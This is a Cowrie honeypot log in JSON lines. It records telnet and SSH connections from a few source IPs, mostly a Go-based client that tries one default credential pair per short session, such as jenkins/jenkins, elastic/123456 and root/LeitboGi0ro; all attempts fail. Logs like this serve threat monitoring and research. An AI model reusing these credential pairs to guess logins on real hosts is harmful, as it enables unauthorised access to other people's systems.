{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58852,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b001ca0a8c","protocol":"telnet","message":"New connection: 50.6.8.71:58852 (10.17.0.5:23) [session: 55b001ca0a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:20.777425Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50450,"dst_ip":"159.203.135.109","dst_port":22,"session":"c19ec32e4b08","protocol":"ssh","message":"New connection: 192.109.200.237:50450 (159.203.135.109:22) [session: c19ec32e4b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:22.747991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:22.752878Z","src_ip":"192.109.200.237","session":"c19ec32e4b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:22.837572Z","src_ip":"192.109.200.237","session":"c19ec32e4b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:23.090308Z","src_ip":"192.109.200.237","session":"c19ec32e4b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.86681413650513,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:23.562549Z","src_ip":"50.6.8.71","session":"1bd9234b1014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:24.176786Z","src_ip":"192.109.200.237","session":"c19ec32e4b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58846,"dst_ip":"10.17.0.5","dst_port":23,"session":"afe3b7045cba","protocol":"telnet","message":"New connection: 50.6.8.71:58846 (10.17.0.5:23) [session: afe3b7045cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:24.932512Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58866,"dst_ip":"10.17.0.5","dst_port":23,"session":"122e47ce9669","protocol":"telnet","message":"New connection: 50.6.8.71:58866 (10.17.0.5:23) [session: 122e47ce9669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:25.891369Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50464,"dst_ip":"159.203.135.109","dst_port":22,"session":"c90211a615fa","protocol":"ssh","message":"New connection: 192.109.200.237:50464 (159.203.135.109:22) [session: c90211a615fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:26.201604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:26.205663Z","src_ip":"192.109.200.237","session":"c90211a615fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:26.287246Z","src_ip":"192.109.200.237","session":"c90211a615fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:26.676486Z","src_ip":"192.109.200.237","session":"c90211a615fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:27.761274Z","src_ip":"192.109.200.237","session":"c90211a615fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50484,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9b10545a62d","protocol":"ssh","message":"New connection: 192.109.200.237:50484 (159.203.135.109:22) [session: c9b10545a62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:29.826448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:29.832255Z","src_ip":"192.109.200.237","session":"c9b10545a62d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:29.914407Z","src_ip":"192.109.200.237","session":"c9b10545a62d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:30.161172Z","src_ip":"192.109.200.237","session":"c9b10545a62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:31.246697Z","src_ip":"192.109.200.237","session":"c9b10545a62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58956,"dst_ip":"159.203.135.109","dst_port":22,"session":"05c362fa508c","protocol":"ssh","message":"New connection: 192.109.200.237:58956 (159.203.135.109:22) [session: 05c362fa508c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:33.288842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:33.292642Z","src_ip":"192.109.200.237","session":"05c362fa508c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:33.374127Z","src_ip":"192.109.200.237","session":"05c362fa508c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:33.619953Z","src_ip":"192.109.200.237","session":"05c362fa508c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:34.704704Z","src_ip":"192.109.200.237","session":"05c362fa508c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58972,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce4f433a619a","protocol":"ssh","message":"New connection: 192.109.200.237:58972 (159.203.135.109:22) [session: ce4f433a619a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:36.878277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:36.882804Z","src_ip":"192.109.200.237","session":"ce4f433a619a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:36.964952Z","src_ip":"192.109.200.237","session":"ce4f433a619a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:37.211293Z","src_ip":"192.109.200.237","session":"ce4f433a619a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:38.296490Z","src_ip":"192.109.200.237","session":"ce4f433a619a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39900,"dst_ip":"159.203.135.109","dst_port":22,"session":"be81d1f03822","protocol":"ssh","message":"New connection: 192.109.200.237:39900 (159.203.135.109:22) [session: be81d1f03822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:40.278243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:40.282765Z","src_ip":"192.109.200.237","session":"be81d1f03822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:40.366492Z","src_ip":"192.109.200.237","session":"be81d1f03822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:40.609976Z","src_ip":"192.109.200.237","session":"be81d1f03822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:41.763768Z","src_ip":"192.109.200.237","session":"be81d1f03822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.645790576934814,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:43.458799Z","src_ip":"50.6.8.71","session":"cb48d725fc56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39902,"dst_ip":"159.203.135.109","dst_port":22,"session":"78f04c7f8e50","protocol":"ssh","message":"New connection: 192.109.200.237:39902 (159.203.135.109:22) [session: 78f04c7f8e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:43.678456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:43.683428Z","src_ip":"192.109.200.237","session":"78f04c7f8e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:43.765697Z","src_ip":"192.109.200.237","session":"78f04c7f8e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:44.180763Z","src_ip":"192.109.200.237","session":"78f04c7f8e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:45.266107Z","src_ip":"192.109.200.237","session":"78f04c7f8e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39914,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c3a68dfbf9f","protocol":"ssh","message":"New connection: 192.109.200.237:39914 (159.203.135.109:22) [session: 3c3a68dfbf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:47.222572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:47.226772Z","src_ip":"192.109.200.237","session":"3c3a68dfbf9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:47.308448Z","src_ip":"192.109.200.237","session":"3c3a68dfbf9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:47.556734Z","src_ip":"192.109.200.237","session":"3c3a68dfbf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:15:48.641344Z","src_ip":"192.109.200.237","session":"3c3a68dfbf9f","protocol":"ssh"}
